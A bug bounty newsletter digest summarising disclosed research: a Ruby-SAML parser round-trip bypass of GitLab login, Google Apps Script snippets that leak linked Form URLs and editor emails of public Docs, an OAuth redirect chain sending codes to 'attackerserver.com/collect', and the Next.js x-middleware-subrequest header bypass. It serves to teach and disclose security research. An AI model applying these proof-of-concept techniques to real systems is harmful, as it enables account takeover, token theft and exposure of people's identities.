- Critical Thinking - Bug Bounty Podcast
- Posts
- [HackerNotes Ep.116] Auth Bypasses and Google VRP Writeups
[HackerNotes Ep.116] Auth Bypasses and Google VRP Writeups
We've got Portswigger’s SAML Roulette writeup, as well as some Google VRP reports, and a Next.js middleware exploit.
Hacker TL;DR
SAML Roulette: When a library uses separate parsers for signature validation and attribute access (REXML vs Nokogiri in Ruby-SAML), differences in how they handle XML can be abused to bypass auth entirely, resulting in a round-trip vuln. This research chained a namespace confusion with a round-trip vuln allowing for an unauthenticated account takeover in Gitlab.
Tips from the research
IdP Metadata for Signed XML: WS-Federation support on common IdPs (like Microsoft’s) can expose signed metadata, which can be repurposed for namespace confusion attacks, even if the XML isn’t “valid” SAML. Don’t sleep on metadata endpoints.
ATTLIST & XXE in Doctypes:
!ATTLIST
can define elements and namespaces in a way that enables XXE-style behavioursFull research here: https://portswigger.net/research/saml-roulette-the-hacker-always-wins
Google VRP - Three Bugs, One Theme: Know Your Targets threat model. Simple yet impactful:
Linked Forms Leak via Apps Script: Even without editor access if a Google Form is linked to a public Sheet, you can extract the Form URL using
SpreadsheetApp.getFormUrl()
in Apps Script.Editor Metadata via
getEditors()
: Publicly shared Google Docs (no permissions needed) can leak editor usernames and emails via a crafted Apps Script. No access? No problem.OAuth Token Theft in GCP Plugin: Misconfigured OAuth redirect URI + open redirect in Google’s local App Engine dev server = full token theft. Attackers used localhost as a middle hop, then grabbed the
code
via referrer. Full writeups:
Next.js Middleware Bypass: Add the
x-middleware-subrequest
header to any request and point it to the middleware path - and poof, you skip the middleware entirely. Auth checks, redirects, headers - all gone.Read Middleware Locations in Source: If the app is open source or source-mapped, look for common paths like
src/middleware
orpages/_middleware.js
. Knowing where to point your bypass is half the battle.The community dropped some solid writeups on the issue and the original research is great - if you’re targeting Next.js in bounty programs, those writeups are practically a checklist for bypass testing:

ThreatLocker Cloud Control leverages built-in intelligence to assess whether a connection from a protected device originates from a trusted network.
By analyzing connection patterns from protected computers and mobile devices, it automatically identifies and allows trusted connections.
Find out more here:
SAML Roulette
Any SAML research is always very much welcome in my books. This time, the Portswigger research team are back with a banger with the caveat that it was a research collision with another researcher. These things happen, and they still published their research and findings, which makes for some super solid reading on SAML.
This research was a complete SAML bypass affecting GitLab in the Ruby-SAML library, leading to an unauthenticated account takeover. The vulnerability itself falls into the realm of “round trip” attacks - multi-step parsing flaws that can allow attackers to manipulate XML and circumvent security checks.
This is taken from the blog on these kinds of attacks:
SAML libraries often parse an XML document, store it as a string, and later re-parse it. In Ruby-SAML, this process involves two different parsers: REXML, which is used to parse the document and validate the signature, and Nokogiri, which is used to access attributes. If any mutations occur during this process, the document may not be identical when parsed a second time.
For secure authorization, the document must be parsed and serialized consistently; otherwise, structural inconsistencies may arise. These inconsistencies can be exploited in a round-trip attack. By leveraging XML comments and CDATA sections, an attacker can manipulate the document’s structure during mutation, bypassing signature verification and effectively gaining unauthorized access by assuming another user's identity.
Previously spoken about on the pod, but any time there’s multi-step parsing going on if you can introduce or force discrepancies at any of these steps, it can be pretty nasty.
To demonstrate the issue, the research highlights an XML document with a single quoted attribute containing an XML comment and entities. When parsed the first time, that single-quoted attribute is interpreted a certain way. But when the document is parsed again, the single quotes become double quotes, which changes how the attribute is handled.
Initial doc parsing:

Doc re-parsing:

That’s the core trick: two parsers or two parsing steps that don’t agree on exactly how the data should look, letting an attacker sneak in under the radar. We’ve seen this in countless other scenarios and researchers - notably the DOMPurify bypasses, too.
By chaining this alongside namespace confusion in how XPATH handles namespaces, they managed to craft a full working POC by combining namespace confusion and the round trip attack. The full POC looks like the below:

Some cool tips on this one that I wasn’t aware of, taken from the blog:
XML Doctype trick:
!ATTLIST
declarations can be abused for XXE. The !ATTLIST defines the Signature element and assigns it a namespace attribute.Leveraging WS-Federation to Obtain Signed XML: Identity Providers (IdPs) silently support Single Sign-On protocol: WS-Federation by default for every tenant. WS-Federation provides signed metadata XML endpoints, such as: https://login.microsoftonline.com/contoso.onmicrosoft.com/FederationMetadata/2007-06/FederationMetadata.xml.
While this metadata is not a valid SAML metadata document, a namespace confusion attack only requires a valid Signature element—one that is signed with the same certificate stored at the Service Provider.
Definitely give this one a read if you have time. I learned a lot about SAML and XML that I wasn't aware of, and, as usual, it's a high-quality write-up from PortSwigger:
Google VRP - Loophole of getting Google Form associated with Google Spreadsheet with no editor/owner access
These two reports disclosed by the Google VRP really highlight that having a deep understanding of your target and its threat model can make all the difference.
The first write-up - Loophole of getting Google Form associated with Google Spreadsheet with no editor/owner access - does a great job of understanding the Google Form threat model. The premise is that when a Google Form is linked to a Google Sheet (to collect responses), viewers of the Sheet aren’t supposed to see or interact with the original Form.
However, Abhishek found a loophole: Anyone with view-only access to the Sheet can still extract the URL of the linked Form using a simple Google Apps Script.
The script is simple, with the POC being:
function myFunction() { // ANY PUBLICLY VISIBLE GOOGLE SPREADSHEET WHICH IS LINKED TO A GOOGLE FORM
console.log(SpreadsheetApp.openById('1LE9NqK-HxlmV4xv3Zeg2VcGBUqB5VMeTbX89Q7K_GqI').getFormUrl())
Which, taken from the blog, would output the form URL of https://docs.google.com/forms/d/1TMBdDDMFHJMM7Rw5zA28X1twCf8DolCcEmSDJsDeF8s/viewform
This seemingly straightforward POC paid $7,500 - not bad at all. Full writeup here:
Google VRP - Loophole to see the editors of a Google Document
This second writeup is by the same researcher and is in a similar vein to the first but on Google Docs. Google Docs allows documents to be shared via public links with no access permissions (not even view-only). Normally, the UI hides the names or email addresses of editors in such cases which acts as a pretty big privacy protection defence.
However, Abhishek discovered that editor metadata (email, username, login ID) of any publicly shared Google Doc, can be disclosed. Even if the person has zero access rights.
The POC for this one, taken from the writeup, can be broken down into:
Get the document ID from a publicly shared Google Docs URL.
Create a new Google Doc in your own account.
Open the Apps Script editor and run the following code:
function myFunction() {
console.log(
DocumentApp.openById('DOC_ID')
.getEditors()
.map(f => Object.keys(f)
.filter(z => typeof f[z] == 'function')
.map(key => [key, f[key]()])
)
);
}
Which would output the below for the corresponding doc:
[ [ [ 'toString', '[REDACTED_USERNAME]@gmail.com' ], [ 'getUsername', '[REDACTED_USERNAME]' ], [ 'getUserLoginId', '[REDACTED_USERNAME]@gmail.com' ], [ 'getEmail', '[REDACTED_USERNAME]@gmail.com' ] ], [ [ 'toString', '[REDACTED_USERNAME]@student.nitw.ac.in' ], [ 'getUsername', '[REDACTED_USERNAME]' ], [ 'getUserLoginId', '[REDACTED_USERNAME]@student.nitw.ac.in' ], [ 'getEmail', '[REDACTED_USERNAME]@student.nitw.ac.in' ] ] ]
This one paid a tasty $15k. Full writeup here:
Google VRP - Cloud Tools for Eclipse - Chaining misconfigured OAuth callback redirection with open redirect vulnerability to leak Google OAuth Tokens with full GCP Permissions
We’ve got a good ol’OAuth related bug. This time, a bug in Cloud Tools for Eclipse (a Google Cloud plugin) allowed attackers to steal OAuth tokens with full GCP permissions by chaining two issues:
Misconfigured OAuth redirect URI
Open redirect vulnerability in the local App Engine dev server
The attack chain can be broken down into the below:
Attacker crafts a malicious Google OAuth URL with a trusted client ID (
Cloud Tools for Eclipse
) but an alteredredirect_uri
pointing to:http://localhost:8080/_ah/login?continue=http://attackerserver.com/collect
Victim sees a legitimate-looking OAuth consent screen with trusted branding and grants access.
Google redirects to the local App Engine dev server (
localhost:8080
) with an authorization code in the URL.Once the user interacts with the dev server login page (ie clicking log in), they’re silently redirected to the attacker’s site.
The referrer header from the browser contains the authorization code, which the attacker can capture.
Now, when the attacker has the authorization code, they can exchange it for access and refresh tokens with the identity provider providing the token hasn’t been used already.
Pretty cool bug writeup, but it only paid $500 for some reason. Check out the original report below:
NextJS Middleware Bypass
You’ve probably come across this one already — it’s been making the rounds, and for good reason.
If you’re wondering why a middleware bypass is such a big deal, let’s quickly break it down. Middleware is commonly used to handle key functionality like access control, setting response headers, URL rewrites, redirects, and more.
Taken from the Next.js docs:
"Middleware allows you to run code before a request is completed. Based on the incoming request, you can modify the response by rewriting, redirecting, modifying headers, or responding directly."
In other words, middleware often sits at the front line of app security and logic. So, being able to completely bypass it just by adding a specific header, it meant any protections relying on it - like auth checks or route restrictions - could be silently skipped. Which as you can probably guess, is a pretty huge deal for NextJS apps.
The exploit in itself is surprisingly simple - you can simply append the x-middleware-subrequest
header to requests with the location of the middleware you want to bypass. Taken from the blog, a sample payload might look like:
x-middleware-subrequest: src/middleware
Which would be used to bypass the middleware located in the src folder within the middleware file.
Three great writeups on this one - the original research, AssetNotes research and also Projectdiscoverys research:
Check them out for the full breakdown.
And that’s it for this week. As always, keep hacking!